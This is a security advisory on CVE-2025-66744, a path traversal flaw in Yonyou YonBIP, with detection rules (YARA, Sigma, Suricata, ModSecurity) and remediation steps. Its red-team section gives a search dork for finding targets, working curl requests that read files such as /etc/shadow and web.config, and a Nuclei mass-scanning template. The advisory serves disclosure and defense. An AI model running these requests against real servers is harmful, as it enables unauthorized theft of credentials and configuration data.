CVE-2025-66744

Executive Summary

CVE-2025-66744 is a critical path traversal vulnerability in Yonyou YonBIP v3 and earlier, specifically within the LoginWithV8 interface of the series data application service system. This flaw allows unauthenticated remote attackers to read arbitrary files on the server, leading to unauthorized access to sensitive information such as system configuration files, credentials, and application source code. The vulnerability has a CVSS v3.1 base score of 7.5 (High) and is confirmed exploitable with a public proof-of-concept (PoC) available. No official patch has been released at this time.

Supply Chain & Package Security

This vulnerability affects the Yonyou YonBIP enterprise application suite, which is a proprietary software package. There are no open-source package dependencies (NPM, PyPI, Go, Ruby) directly associated with this CVE. The risk is primarily to organizations using the on-premise deployment of YonBIP v3 or earlier.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N) - Exploitable remotely.
• Attack Complexity: Low (AC:L) - No special conditions required.
• Privileges Required: None (PR:N) - No authentication needed.
• User Interaction: None (UI:N) - No user action required.
• Scope: Unchanged (S:U) - The vulnerable component and the impacted component are the same.
• Confidentiality Impact: High (C:H) - Complete information disclosure of system files.
• Integrity Impact: None (I:N) - No file modification possible.
• Availability Impact: None (A:N) - No denial of service.

Threat Level: High. The combination of low attack complexity, no authentication requirement, and public exploit code makes this a high-priority threat for any organization using the affected software.

Deep Dive & Mechanics

The vulnerability resides in the /bi/api/Portal/LoginWithV8/ endpoint. The ticket parameter is not properly sanitized, allowing an attacker to inject path traversal sequences (e.g., ../) to escape the intended web root directory.

Root Cause: The application fails to validate or canonicalize the user-supplied ticket parameter before using it in a file read operation. This allows an attacker to specify arbitrary file paths on the server's filesystem.

Attack Flow:

1. An attacker sends a crafted HTTP GET request to the vulnerable endpoint.
2. The request includes a ticket parameter containing path traversal sequences, such as /../../../../Windows/win.ini (on Windows) or /../../../../etc/passwd (on Linux).
3. The server processes the request and reads the file specified by the traversed path.
4. The contents of the file are returned in the HTTP response body.

Example Request (Windows):

GET /bi/api/Portal/LoginWithV8/?ticket=/../../../../Windows/win.ini HTTP/1.1
Host: vulnerable-yonbip-instance.com
Accept-Encoding: gzip

Example Request (Linux):

GET /bi/api/Portal/LoginWithV8/?ticket=/../../../../etc/passwd HTTP/1.1
Host: vulnerable-yonbip-instance.com
Accept-Encoding: gzip

Vulnerable vs. Patched Code

Since this is a proprietary application, the exact source code is not publicly available. However, the vulnerability pattern is well-understood.

Vulnerable Code (Conceptual):

// Vulnerable: Directly uses user input in file path
String ticket = request.getParameter("ticket");
String filePath = baseDirectory + ticket;
File file = new File(filePath);
// ... read and return file content

Patched Code (Conceptual):

// Patched: Validates and canonicalizes the path
String ticket = request.getParameter("ticket");
String filePath = baseDirectory + ticket;
File file = new File(filePath);
String canonicalPath = file.getCanonicalPath();

// Ensure the canonical path starts with the base directory
if (!canonicalPath.startsWith(baseDirectory)) {
    // Reject the request
    response.sendError(HttpServletResponse.SC_FORBIDDEN);
    return;
}
// ... read and return file content

The patched version uses getCanonicalPath() to resolve all symbolic links and path traversal sequences, then verifies that the resulting path is within the intended directory.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A target running Yonyou YonBIP v3 or earlier.
• Network access to the target's web interface.

Exploitation Steps:

1. Identify Target: Use Shodan or FOFA with the dork body="YonBIP | 数据应用服务" to find vulnerable instances.

2. Verify Vulnerability: Send a simple path traversal request to confirm the vulnerability.

   curl -v "http://target.com/bi/api/Portal/LoginWithV8/?ticket=/../../../../Windows/win.ini"
   

   If the response contains [fonts] and [extensions] sections, the target is vulnerable.

3. Extract Sensitive Files:

   • Windows:

     curl "http://target.com/bi/api/Portal/LoginWithV8/?ticket=/../../../../Windows/System32/drivers/etc/hosts"
     curl "http://target.com/bi/api/Portal/LoginWithV8/?ticket=/../../../../inetpub/wwwroot/web.config"
     

   • Linux:

     curl "http://target.com/bi/api/Portal/LoginWithV8/?ticket=/../../../../etc/passwd"
     curl "http://target.com/bi/api/Portal/LoginWithV8/?ticket=/../../../../etc/shadow"
     curl "http://target.com/bi/api/Portal/LoginWithV8/?ticket=/../../../../etc/nginx/nginx.conf"
     

4. Automated Exploitation: Use the provided Nuclei template for mass scanning.

Blue Team (Defensive)

Detection & Response:

1. Monitor Web Logs: Look for HTTP GET requests to /bi/api/Portal/LoginWithV8/ containing ../ or ..\\ sequences in the ticket parameter.

   grep -E '/bi/api/Portal/LoginWithV8/\?ticket=.*\.\.' /var/log/nginx/access.log
   

2. Deploy WAF Rules: Create a rule to block requests with path traversal patterns in the ticket parameter.

   • ModSecurity Example:

     SecRule ARGS:ticket "@contains ../" "id:1001,phase:1,deny,status:403,msg:'Path Traversal Attempt'"
     

3. Harden the Application:

   • If possible, apply input validation to the ticket parameter to reject any non-alphanumeric characters or path separators.
   • Restrict the web application's file system permissions to the minimum required.

4. Network Segmentation: Ensure the YonBIP server is not directly accessible from the internet. Place it behind a VPN or bastion host.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP GET requests to /bi/api/Portal/LoginWithV8/ with a ticket parameter containing ../ or ..\\.
  • Outbound connections from the YonBIP server to unknown external IPs (if data exfiltration occurs).
  • Unusual file reads from system directories (e.g., /etc/passwd, C:\Windows\win.ini).

• File System IOCs:

  • Unexpected access to files outside the web root, as logged by the operating system's audit system (e.g., Windows Event ID 4663, Linux auditd).

• Log IOCs:

  • Web server access logs showing multiple requests with path traversal patterns.
  • Application logs showing errors related to file not found or permission denied for system files.

Detection Engineering

YARA Rule

rule CVE_2025_66744_YonBIP_Path_Traversal {
    meta:
        description = "Detects path traversal attempts targeting CVE-2025-66744 in Yonyou YonBIP"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-66744"
        severity = "high"
    strings:
        $traversal1 = "/../"
        $traversal2 = "/..\\"
        $traversal3 = "..\\"
        $endpoint = "/bi/api/Portal/LoginWithV8/"
    condition:
        $endpoint and any of ($traversal*)
}

Sigma Rule

title: CVE-2025-66744 Yonyou YonBIP Path Traversal Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests attempting to exploit a path traversal vulnerability in Yonyou YonBIP.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-66744
logsource:
    category: webserver
    product: generic
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '/bi/api/Portal/LoginWithV8/'
        cs-uri-query|contains:
            - '/../'
            - '/..\\'
            - '..\\'
    condition: selection
falsepositives:
    - Legitimate use of path traversal in non-vulnerable applications (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-66744 Yonyou YonBIP Path Traversal Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/bi/api/Portal/LoginWithV8/"; http_uri; content:"../"; within:100; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Nuclei Template (Provided)

id: CVE-2025-66744

info:
  name: Yonyou YonBIP - Path Traversal
  author: DhiyaneshDk
  severity: high
  description: |
    Yonyou YonBIP v3 and before contains a path traversal caused by improper validation in the LoginWithV8 interface of the series data application service system, letting unauthorized attackers access sensitive information.
  impact: |
    Unauthorized attackers can access sensitive system information, potentially leading to data exposure.
  remediation: |
    Update to the latest version beyond v3.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-66744
    - https://github.com/iSee857/YonYouBip-path-travel
  classification:
    cve-id: CVE-2025-66744
    epss-score: 0.05986
    epss-percentile: 0.90705
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
  metadata:
    max-request: 1
    verified: true
    fofa-query: body="YonBIP | 数据应用服务"
  tags: cve,cve2025,yonbip,lfi,vkev

http:
  - raw:
      - |
        GET /bi/api/Portal/LoginWithV8/?ticket=/../../../../Windows/win.ini HTTP/1.1
        Host: {{Hostname}}
        Accept-Encoding: gzip

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "[fonts]"
          - "[extensions]"
          - "Message"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a0046304402201359d057725a888e3594b36cbe3332bccb799d51f4de1a56d78056f79e0fe66c0220451e88a99596063abda050ee9cc0286834a03db55925c7c0368d9acc203dcb64:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

1. Isolate Affected Systems: If possible, disconnect the YonBIP server from the network or place it behind a strict firewall.
2. Apply Virtual Patching: Use a Web Application Firewall (WAF) to block requests containing path traversal patterns in the /bi/api/Portal/LoginWithV8/ endpoint.
3. Monitor for Exploitation: Actively monitor logs for the IOCs listed above.

Long-Term Remediation:

1. Vendor Patch: Contact Yonyou for an official patch. As of this report, no patch is available. Monitor the vendor's security advisories.
2. Upgrade: If a patched version becomes available, upgrade to the latest version immediately.
3. Code Review: If you have access to the source code, implement proper input validation and canonicalization as shown in the "Vulnerable vs. Patched Code" section.
4. Principle of Least Privilege: Ensure the web application runs with the minimum necessary file system permissions.

Workaround:

• If the LoginWithV8 interface is not required, disable or remove the endpoint from the web server configuration.

Valters IT
Securing Digital Frontiers

{/* [Security Hash: E605A9F37A53633A09D0BC29] */}